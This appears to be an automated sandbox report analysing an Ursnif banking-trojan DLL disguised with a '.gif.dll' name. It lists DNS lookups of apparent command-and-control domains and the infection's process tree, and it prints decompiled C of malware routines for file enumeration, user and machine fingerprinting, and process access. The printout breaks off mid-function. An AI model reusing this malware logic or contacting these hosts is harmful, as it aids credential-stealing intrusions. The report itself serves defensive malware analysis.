Apr 6, 2021 09:56:13.691240072 CEST	8.8.8.8	192.168.2.3	0x5829	No error (0)	under17.com		185.243.114.196	A (IP address)	IN (0x0001)
Apr 6, 2021 09:56:26.487623930 CEST	8.8.8.8	192.168.2.3	0x137f	No error (0)	under17.com		185.243.114.196	A (IP address)	IN (0x0001)
Apr 6, 2021 09:56:27.985817909 CEST	8.8.8.8	192.168.2.3	0xaffc	No error (0)	under17.com		185.243.114.196	A (IP address)	IN (0x0001)
Apr 6, 2021 09:56:49.982492924 CEST	8.8.8.8	192.168.2.3	0xa464	No error (0)	urs-world.com		185.186.244.95	A (IP address)	IN (0x0001)
Apr 6, 2021 09:56:49.996510029 CEST	8.8.8.8	192.168.2.3	0x4c0b	No error (0)	urs-world.com		185.186.244.95	A (IP address)	IN (0x0001)
Apr 6, 2021 09:57:04.071840048 CEST	8.8.8.8	192.168.2.3	0x7d00	No error (0)	urs-world.com		185.186.244.95	A (IP address)	IN (0x0001)
Apr 6, 2021 09:57:04.105596066 CEST	8.8.8.8	192.168.2.3	0x4ca0	No error (0)	urs-world.com		185.186.244.95	A (IP address)	IN (0x0001)

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 5452 Parent PID: 5576

General

Start time:	09:55:00
Start date:	06/04/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\0204_1.gif.dll'
Imagebase:	0x3d0000
File size:	116736 bytes
MD5 hash:	542795ADF7CC08EFCF675D65310596E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.318966853.0000000003B2B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.318950554.0000000003B2B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.319029773.0000000003B2B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.318997670.0000000003B2B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.401164058.0000000003A2D000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.318987145.0000000003B2B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.480876876.000000000392F000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.318925659.0000000003B2B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000001.00000002.487763309.0000000002ED0000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 4904 Parent PID: 5452

General

Start time:	09:55:00
Start date:	06/04/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\0204_1.gif.dll',#1
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2628 Parent PID: 5452

General

Start time:	09:55:01
Start date:	06/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\0204_1.gif.dll,StartService
Imagebase:	0xc00000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000004.00000002.248258066.0000000000BD0000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 68 Parent PID: 4904

General

Start time:	09:55:01
Start date:	06/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\0204_1.gif.dll',#1
Imagebase:	0xc00000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.323251536.0000000004FAB000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000005.00000002.486714562.0000000000BE0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.480525805.0000000004DAF000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.323328029.0000000004FAB000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.323362066.0000000004FAB000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.323281366.0000000004FAB000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.323298116.0000000004FAB000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.404525963.0000000004EAD000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.323337362.0000000004FAB000.00000004.00000040.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 6664 Parent PID: 792

General

Start time:	09:55:22
Start date:	06/04/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff62f200000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 6708 Parent PID: 6664

General

Start time:	09:55:23
Start date:	06/04/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6664 CREDAT:17410 /prefetch:2
Imagebase:	0x20000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 6972 Parent PID: 6664

General

Start time:	09:55:27
Start date:	06/04/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6664 CREDAT:82952 /prefetch:2
Imagebase:	0x20000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 6780 Parent PID: 792

General

Start time:	09:56:09
Start date:	06/04/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff62f200000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 1268 Parent PID: 6780

General

Start time:	09:56:09
Start date:	06/04/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6780 CREDAT:17410 /prefetch:2
Imagebase:	0x210000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 5188 Parent PID: 6780

General

Start time:	09:56:11
Start date:	06/04/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6780 CREDAT:17414 /prefetch:2
Imagebase:	0x210000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 6384 Parent PID: 792

General

Start time:	09:56:47
Start date:	06/04/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff62f200000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 3360 Parent PID: 6384

General

Start time:	09:56:48
Start date:	06/04/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6384 CREDAT:17410 /prefetch:2
Imagebase:	0x210000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 5452 Parent PID: 5576 loaddll32.exeCOMMON

Executed Functions

Function 02F912D4, Relevance: 34.7, APIs: 23, Instructions: 222
memoryfiletimeCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E02F912D4(signed char* __eax, intOrPtr* _a4) {
				signed int _v12;
				void* _v16;
				CHAR* _v20;
				struct _FILETIME _v28;
				void* _v32;
				void* _v36;
				char* _v40;
				signed int _v44;
				long _v344;
				struct _WIN32_FIND_DATAA _v368;
				signed int _t72;
				void* _t74;
				signed int _t76;
				void* _t78;
				intOrPtr _t81;
				CHAR* _t83;
				void* _t85;
				signed char _t89;
				signed char _t91;
				intOrPtr _t93;
				void* _t96;
				long _t99;
				int _t101;
				signed int _t109;
				char* _t111;
				void* _t113;
				int _t119;
				char _t128;
				void* _t134;
				signed int _t136;
				char* _t139;
				signed int _t140;
				char* _t141;
				char* _t146;
				signed char* _t148;
				int _t151;
				void* _t152;
				void* _t153;
				void* _t154;
				void* _t165;

				_v12 = _v12 & 0x00000000;
				_t148 = __eax;
				_t72 =  *0x2f9d278; // 0x63699bc3
				_t74 = RtlAllocateHeap( *0x2f9d238, 0, _t72 ^ 0x63699ac7);
				_v20 = _t74;
				if(_t74 == 0) {
					L36:
					return _v12;
				}
				_t76 =  *0x2f9d278; // 0x63699bc3
				_t78 = RtlAllocateHeap( *0x2f9d238, 0, _t76 ^ 0x63699bce);
				_t146 = 0;
				_v36 = _t78;
				if(_t78 == 0) {
					L35:
					HeapFree( *0x2f9d238, _t146, _v20);
					goto L36;
				}
				_t136 =  *0x2f9d278; // 0x63699bc3
				memset(_t78, 0, _t136 ^ 0x63699bce);
				_t81 =  *0x2f9d27c; // 0xd0a5a8
				_t154 = _t153 + 0xc;
				_t5 = _t81 + 0x2f9e7f2; // 0x73797325
				_t83 = E02F995B1(_t5);
				_v20 = _t83;
				if(_t83 == 0) {
					L34:
					HeapFree( *0x2f9d238, _t146, _v36);
					goto L35;
				}
				_t134 = 0xffffffffffffffff;
				_v28.dwLowDateTime = 0x63699bce;
				_v28.dwHighDateTime = 0x63699bce;
				_t85 = CreateFileA(_t83, 0x80000000, 1, 0, 3, 0x80, 0); // executed
				_v32 = _t85;
				if(_t85 != 0x63699bce) {
					GetFileTime(_t85,  &_v28, 0, 0);
					_v28.dwLowDateTime = _v28.dwLowDateTime + 0x2a69c000;
					asm("adc dword [ebp-0x14], 0xc9"); // executed
					FindCloseChangeNotification(_v32); // executed
				}
				 *(StrRChrA(_v20, _t146, 0x5c)) = 0;
				_t89 = 0x3c6ef35f +  *_t148 * 0x19660d;
				_t91 = 0x3c6ef35f + _t89 * 0x19660d;
				 *_t148 = _t91;
				_v32 = _t91 & 0x000000ff;
				_t93 =  *0x2f9d27c; // 0xd0a5a8
				_t16 = _t93 + 0x2f9e813; // 0x642e2a5c
				_v40 = _t146;
				_v44 = _t89 & 0x000000ff;
				__imp__(_v20, _t16);
				_t96 = FindFirstFileA(_v20,  &_v368); // executed
				_v16 = _t96;
				if(_t96 == _t134) {
					_t146 = 0;
					goto L34;
				}
				_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				while(_t99 > 0) {
					_t101 = FindNextFileA(_v16,  &_v368); // executed
					if(_t101 == 0) {
						FindClose(_v16);
						_v16 = FindFirstFileA(_v20,  &_v368);
						_v28.dwHighDateTime = _v344;
						_v28.dwLowDateTime = _v368.ftLastWriteTime.dwLowDateTime;
					}
					_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				}
				_v12 = _v12 & 0x00000000;
				while(1) {
					_t109 = _v44;
					if(_v12 <= _t109) {
						goto L15;
					}
					_t140 = _v12;
					if(_t140 > _v32) {
						_t141 = _v36;
						 *_a4 = _t141;
						while(1) {
							_t128 =  *_t141;
							if(_t128 == 0) {
								break;
							}
							if(_t128 < 0x30) {
								 *_t141 = _t128 + 0x20;
							}
							_t141 = _t141 + 1;
						}
						_v12 = 1;
						FindClose(_v16); // executed
						_t146 = 0;
						goto L35;
					}
					_t165 = _t140 - _t109;
					L15:
					if(_t165 == 0 || _v12 == _v32) {
						_t111 = StrChrA( &(_v368.cFileName), 0x2e);
						_t139 = _v40;
						_t151 = _t111 -  &(_v368.cFileName);
						_t113 = 0;
						if(_t139 != 0) {
							_t48 = _t151 - 4; // -4
							_t113 = _t48;
							if(_t113 > _t151) {
								_t113 = 0;
							}
						}
						if(_t151 > 4) {
							_t151 = 4;
						}
						memcpy(_v36 + _t139, _t152 + _t113 - 0x140, _t151);
						_t154 = _t154 + 0xc;
						_v40 =  &(_v40[_t151]);
					}
					do {
						_t119 = FindNextFileA(_v16,  &_v368); // executed
						if(_t119 == 0) {
							FindClose(_v16);
							_v16 = FindFirstFileA(_v20,  &_v368);
						}
					} while (CompareFileTime( &(_v368.ftLastWriteTime),  &_v28) > 0);
					_v12 = _v12 + 1;
				}
			}

0x02f912dd
0x02f912e3
0x02f912e5
0x02f912ff
0x02f91303
0x02f91306
0x02f9157b
0x02f91582
0x02f91582
0x02f9130c
0x02f91321
0x02f91323
0x02f91327
0x02f9132a
0x02f9156b
0x02f91575
0x00000000
0x02f91575
0x02f91330
0x02f9133b
0x02f91340
0x02f91345
0x02f91348
0x02f9134f
0x02f91356
0x02f91359
0x02f9155b
0x02f91565
0x00000000
0x02f91565
0x02f9136f
0x02f91373
0x02f91376
0x02f91379
0x02f91381
0x02f91384
0x02f9138d
0x02f91393
0x02f9139d
0x02f913a4
0x02f913a4
0x02f913b6
0x02f913c1
0x02f913cf
0x02f913d4
0x02f913d9
0x02f913dc
0x02f913e1
0x02f913eb
0x02f913ee
0x02f913f1
0x02f91407
0x02f9140b
0x02f9140e
0x02f91559
0x00000000
0x02f91559
0x02f91425
0x02f91476
0x02f91439
0x02f91441
0x02f91446
0x02f91454
0x02f9145d
0x02f91466
0x02f91466
0x02f91474
0x02f91474
0x02f9147a
0x02f9147e
0x02f9147e
0x02f91484
0x00000000
0x00000000
0x02f91486
0x02f9148c
0x02f91533
0x02f91536
0x02f91543
0x02f91543
0x02f91547
0x00000000
0x00000000
0x02f9153c
0x02f91540
0x02f91540
0x02f91542
0x02f91542
0x02f9154c
0x02f91553
0x02f91555
0x00000000
0x02f91555
0x02f91492
0x02f91494
0x02f91494
0x02f914a7
0x02f914ad
0x02f914b8
0x02f914ba
0x02f914be
0x02f914c0
0x02f914c0
0x02f914c5
0x02f914c7
0x02f914c7
0x02f914c5
0x02f914cc
0x02f914d0
0x02f914d0
0x02f914e0
0x02f914e5
0x02f914e8
0x02f914e8
0x02f914eb
0x02f914f5
0x02f914fd
0x02f91502
0x02f91510
0x02f91510
0x02f91524
0x02f91528
0x02f91528

APIs

RtlAllocateHeap.NTDLL(00000000,63699BC3,00000000), ref: 02F912FF
RtlAllocateHeap.NTDLL(00000000,63699BC3), ref: 02F91321
memset.NTDLL ref: 02F9133B

Part of subcall function 02F995B1: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,02F923E9,63699BCE,02F91354,73797325), ref: 02F995C2
Part of subcall function 02F995B1: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 02F995DC

CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,73797325), ref: 02F91379
GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 02F9138D
FindCloseChangeNotification.KERNELBASE(00000000), ref: 02F913A4
StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 02F913B0
lstrcat.KERNEL32(?,642E2A5C), ref: 02F913F1
FindFirstFileA.KERNELBASE(?,?), ref: 02F91407
CompareFileTime.KERNEL32(?,?), ref: 02F91425
FindNextFileA.KERNELBASE(02F996C1,?), ref: 02F91439
FindClose.KERNEL32(02F996C1), ref: 02F91446
FindFirstFileA.KERNEL32(?,?), ref: 02F91452
CompareFileTime.KERNEL32(?,?), ref: 02F91474
StrChrA.SHLWAPI(?,0000002E), ref: 02F914A7
memcpy.NTDLL(00000000,?,00000000), ref: 02F914E0
FindNextFileA.KERNELBASE(02F996C1,?), ref: 02F914F5
FindClose.KERNEL32(02F996C1), ref: 02F91502
FindFirstFileA.KERNEL32(?,?), ref: 02F9150E
CompareFileTime.KERNEL32(?,?), ref: 02F9151E
FindClose.KERNELBASE(02F996C1), ref: 02F91553
HeapFree.KERNEL32(00000000,00000000,73797325), ref: 02F91565
HeapFree.KERNEL32(00000000,?), ref: 02F91575

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$Find$CloseHeapTime$CompareFirst$AllocateEnvironmentExpandFreeNextStrings$ChangeCreateNotificationlstrcatmemcpymemset
String ID:
API String ID: 2944988578-0
Opcode ID: d2a73650bd19401bbb9cffb344c5e7ff7741a0d8dd49bc176e8ac53c03a6749f
Instruction ID: 3dd0f2978778f760728f5df8e2b859c6519b123561035cd1f2921414cc3c1535
Opcode Fuzzy Hash: d2a73650bd19401bbb9cffb344c5e7ff7741a0d8dd49bc176e8ac53c03a6749f
Instruction Fuzzy Hash: 16815BB2D0010AAFEF21DFA5DC44AEFBBB9FB49780F110566E609E6250D7319A54CF60

Uniqueness

Uniqueness Score: -1.00%

Function 1000102F, Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E1000102F(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t19;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L10002100();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0x10004150;
				_push(_t15 + 0x1000505e);
				_push(_t15 + 0x10005054);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L100020FA();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t19 = CreateFileMappingW(0xffffffff, 0x10004140, 4, 0, _t18,  &_v60); // executed
				_t34 = _t19;
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0); // executed
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}

0x1000102f
0x10001038
0x1000103c
0x10001042
0x10001047
0x1000104c
0x1000104f
0x10001052
0x10001057
0x10001058
0x1000105b
0x10001066
0x1000106d
0x10001071
0x10001073
0x10001074
0x10001077
0x1000107c
0x10001086
0x10001088
0x10001088
0x1000109c
0x100010a2
0x100010a6
0x100010f6
0x100010a8
0x100010b1
0x100010c7
0x100010cf
0x100010e1
0x100010e5
0x00000000
0x00000000
0x100010d1
0x100010d4
0x100010d9
0x100010db
0x100010db
0x100010bc
0x100010be
0x100010e7
0x100010e8
0x100010e8
0x100010b1
0x100010fe

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 1000103C
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 10001052
_snwprintf.NTDLL ref: 10001077
CreateFileMappingW.KERNELBASE(000000FF,10004140,00000004,00000000,?,?), ref: 1000109C
GetLastError.KERNEL32 ref: 100010B3
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 100010C7
GetLastError.KERNEL32 ref: 100010DF
CloseHandle.KERNEL32(00000000), ref: 100010E8
GetLastError.KERNEL32 ref: 100010F0

Memory Dump Source

Source File: 00000001.00000002.490984420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.490965910.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.491002368.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1724014008-0
Opcode ID: 659c6e22773efc5d4acf18c79085ac1006ba0f018220d8c2180b8ead122f5ef9
Instruction ID: fd2cfec1e864bf63db9aaa2ee4e5368c07c46789b5c4626883214d07a46f71c5
Opcode Fuzzy Hash: 659c6e22773efc5d4acf18c79085ac1006ba0f018220d8c2180b8ead122f5ef9
Instruction Fuzzy Hash: 6821CFB2500258BFE721EFA8CCC4EDE77ADEB483D0F118136F615D7159DAB099858BA0

Uniqueness

Uniqueness Score: -1.00%

Function 02F9269C, Relevance: 12.1, APIs: 8, Instructions: 102
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E02F9269C(char __eax, signed int* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t63;
				signed int* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				signed int* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x2f9d270; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E02F96B43( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x2f9d278 ^ 0x4c0ca0ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x2f9d238, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t63 = _t62;
								 *_t69 =  *_t69 ^ E02F92496(_v8 + _v8, _t63);
							}
							HeapFree( *0x2f9d238, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x2f9d238, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t63 = _t68;
							_t69[3] = _t69[3] ^ E02F92496(_v8 + _v8, _t63);
						}
						HeapFree( *0x2f9d238, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *(_t67 + 8) = _t63;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				_t69[1] = _t69[1] ^ _t39;
				return _t39;
			}

0x02f9269c
0x02f926a4
0x02f926aa
0x02f926ad
0x02f926b0
0x02f926b2
0x02f926b7
0x02f926b7
0x02f926bd
0x02f926bf
0x02f926cc
0x02f9272d
0x02f926ce
0x02f926d3
0x02f926d9
0x02f926de
0x02f926ec
0x02f926f0
0x02f926ff
0x02f92706
0x02f9270d
0x02f9270d
0x02f92718
0x02f92718
0x02f926f0
0x02f926de
0x02f9272f
0x02f92735
0x02f9273f
0x02f92741
0x02f92746
0x02f92755
0x02f92759
0x02f92764
0x02f9276b
0x02f92772
0x02f92772
0x02f9277e
0x02f9277e
0x02f92759
0x02f92787
0x02f92789
0x02f9278c
0x02f9278e
0x02f92791
0x02f92794
0x02f9279e
0x02f927a2
0x02f927a6

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 02F926D3
RtlAllocateHeap.NTDLL(00000000,?), ref: 02F926EA
GetUserNameW.ADVAPI32(00000000,?), ref: 02F926F7
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,02F923D9), ref: 02F92718
GetComputerNameW.KERNEL32(00000000,00000000), ref: 02F9273F
RtlAllocateHeap.NTDLL(00000000,00000000), ref: 02F92753
GetComputerNameW.KERNEL32(00000000,00000000), ref: 02F92760
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,02F923D9), ref: 02F9277E

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: HeapName$AllocateComputerFreeUser
String ID:
API String ID: 3239747167-0
Opcode ID: 71db3f6384662438569d6779dcdfed94a5d4a2fd1970f8467fd7589798aeab48
Instruction ID: 16254d2c24303e20f678e0edd355844490c5d1f357fb779c3aecc486ac00827a
Opcode Fuzzy Hash: 71db3f6384662438569d6779dcdfed94a5d4a2fd1970f8467fd7589798aeab48
Instruction Fuzzy Hash: F2311C71A40209EFEB11EF69DC81A6EF7F9EF48780F214869E905E7210D730E9558B11

Uniqueness

Uniqueness Score: -1.00%

Function 02F983B7, Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E02F983B7(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E02F92049(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E02F99039(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}

0x02f983c4
0x02f983c5
0x02f983c6
0x02f983c7
0x02f983c8
0x02f983cc
0x02f983d3
0x02f983e2
0x02f983e5
0x02f983e8
0x02f983ef
0x02f983f2
0x02f983f5
0x02f983f8
0x02f983fb
0x02f98406
0x02f98408
0x02f98411
0x02f98419
0x02f9841b
0x02f9842d
0x02f98437
0x02f9843b
